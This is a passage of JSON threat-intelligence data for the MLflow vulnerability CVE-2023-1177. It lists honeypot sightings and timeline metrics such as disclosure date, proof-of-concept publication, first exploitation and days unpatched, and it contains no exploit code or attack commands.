"2026-09-02T10:00:32.775166Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3dc2e82b-3341-4ceb-8cf1-6c9d45fa49d6"}, {"timestamp": "2026-09-03T10:00:05.900Z", "date_only": false, "value": "2026-09-03T10:00:05.900382Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "94a3d896-b0b9-4f45-8732-aa6751425776"}, {"timestamp": "2026-09-05T10:00:09.084Z", "date_only": false, "value": "2026-09-05T10:00:09.084739Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b9f561ca-2759-4c73-88c1-00f83e0aa01b"}, {"timestamp": "2026-09-06T10:00:04.623Z", "date_only": false, "value": "2026-09-06T10:00:04.623177Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ec59f693-6822-44bc-9f1e-81acbd8cbcd0"}, {"timestamp": "2026-09-08T08:34:36.952Z", "date_only": false, "value": "2026-09-08T08:34:36.952Z", "kind": "other", "label": "Updated", "source": "bitnami_vulndb \u00b7 BIT-MLFLOW-2023-1177", "record": "BIT-MLFLOW-2023-1177", "field": "modified"}, {"timestamp": "2026-09-12T10:00:11.713Z", "date_only": false, "value": "2026-09-12T10:00:11.713534Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "98a98f6d-c4e9-4932-a548-5f8554285d65"}, {"timestamp": "2026-09-13T10:00:04.958Z", "date_only": false, "value": "2026-09-13T10:00:04.958758Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3e583663-2a70-4db5-aec0-d0f2525d3380"}, {"timestamp": "2026-09-14T10:00:04.081Z", "date_only": false, "value": "2026-09-14T10:00:04.081566Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a5a6449c-7897-4bcd-afcd-a42167675317"}, {"timestamp": "2026-09-15T10:00:06.370Z", "date_only": false, "value": "2026-09-15T10:00:06.370625Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2d3d454f-932c-48d7-933f-800f77baf331"}, {"timestamp": "2026-09-17T10:00:05.280Z", "date_only": false, "value": "2026-09-17T10:00:05.280959Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "499294b0-b74a-4ff7-952f-a7fdfcc51634"}, {"timestamp": "2026-09-18T10:00:05.234Z", "date_only": false, "value": "2026-09-18T10:00:05.234638Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "de861ec9-84d9-4100-b0e3-356113dee8ba"}, {"timestamp": "2026-09-19T10:00:05.327Z", "date_only": false, "value": "2026-09-19T10:00:05.327214Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8d822bca-73ac-42fa-8556-9f525f14c6f7"}, {"timestamp": "2026-09-23T00:00:00Z", "date_only": false, "value": "2026-09-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "54ccee7f-0f09-4a8e-8924-ad047c20ebbd"}, {"timestamp": "2026-09-23T10:00:06.830Z", "date_only": false, "value": "2026-09-23T10:00:06.830419Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2807a8aa-b820-4002-abc1-ad3e3224eb09"}, {"timestamp": "2026-09-24T00:00:00Z", "date_only": false, "value": "2026-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "198866ab-f24f-4ff1-bf0f-0b9400bc2333"}, {"timestamp": "2026-09-25T00:00:00Z", "date_only": false, "value": "2026-09-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "473dcc7a-d353-4ca0-a0fc-6d6c3073eaf8"}], "metrics": {"as_of": "2026-10-31T13:20:47.428Z", "anchors": {"origin": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2023-03-28T11:01:01Z", "date_only": false, "value": "2023-03-28T11:01:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/8011", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e83d6441-9652-423e-b63a-08588181b6a4", "content": "#exploit\n1. CVE-2023-1177:\nHacking AI: System and Cloud Takeover via MLflow Exploit\nhttps://protectai.com/blog/hacking-ai-system-takeover-exploit-in-mlflow\n\n2. Google Chrome 109.0.5414.74 - Unsafe Library Load\nhttps://packetstormsecurity.com/files/171495/Google-Chrome-109.0.5414.74-Unsafe-Library-Load.htm", "url": "https://t.me/CyberSecurityTechnologies/8011", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 17696824.0, "hours": 4915.7844444444445, "days": 204.82435185185184, "min_seconds": 17610424.0, "max_seconds": 17696824.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 17696824.0, "hours": 4915.7844444444445, "days": 204.82435185185184, "min_seconds": 17610424.0, "max_seconds": 17696824.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 385261.0, "hours": 107.01694444444445, "days": 4.459039351851852, "min_seconds": 298861.0, "max_seconds": 385261.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-03-28T11:01:01Z", "date_only": false, "value": "2023-03-28T11:01:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/8011", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e83d6441-9652-423e-b63a-08588181b6a4", "content": "#exploit\n1. CVE-2023-1177:\nHacking AI: System and Cloud Takeover via MLflow Exploit\nhttps://protectai.com/blog/hacking-ai-system-takeover-exploit-in-mlflow\n\n2. Google Chrome 109.0.5414.74 - Unsafe Library Load\nhttps://packetstormsecurity.com/files/171495/Google-Chrome-109.0.5414.74-Unsafe-Library-Load.htm", "url": "https://t.me/CyberSecurityTechnologies/8011", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 113836847.428569, "hours": 31621.346507935836, "days": 1317.5561044973265, "min_seconds": 113750447.428569, "max_seconds": 113836847.428569, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-31T13:20:47.428Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 96140023.428569, "hours": 26705.56206349139, "days": 1112.7317526454747, "min_seconds": 96140023.428569, "max_seconds": 96140023.428569, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": true, "end_before_start": false, "start": {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-10-31T13:20:47.428Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 113451586.428569, "hours": 31514.32956349139, "days": 1313.0970651454745, "min_seconds": 113451586.428569, "max_seconds": 113451586.428569, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-03-28T11:01:01Z", "date_only": false, "value": "2023-03-28T11:01:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/8011", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e83d6441-9652-423e-b63a-08588181b6a4", "content": "#exploit\n1. CVE-2023-1177:\nHacking AI: System and Cloud Takeover via MLflow Exploit\nhttps://protectai.com/blog/hacking-ai-system-takeover-exploit-in-mlflow\n\n2. Google Chrome 109.0.5414.74 - Unsafe Library Load\nhttps://packetstormsecurity.com/files/171495/Google-Chrome-109.0.5414.74-Unsafe-Library-Load.htm", "url": "https://t.me/CyberSecurityTechnologies/8011", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-31T13:20:47.428Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}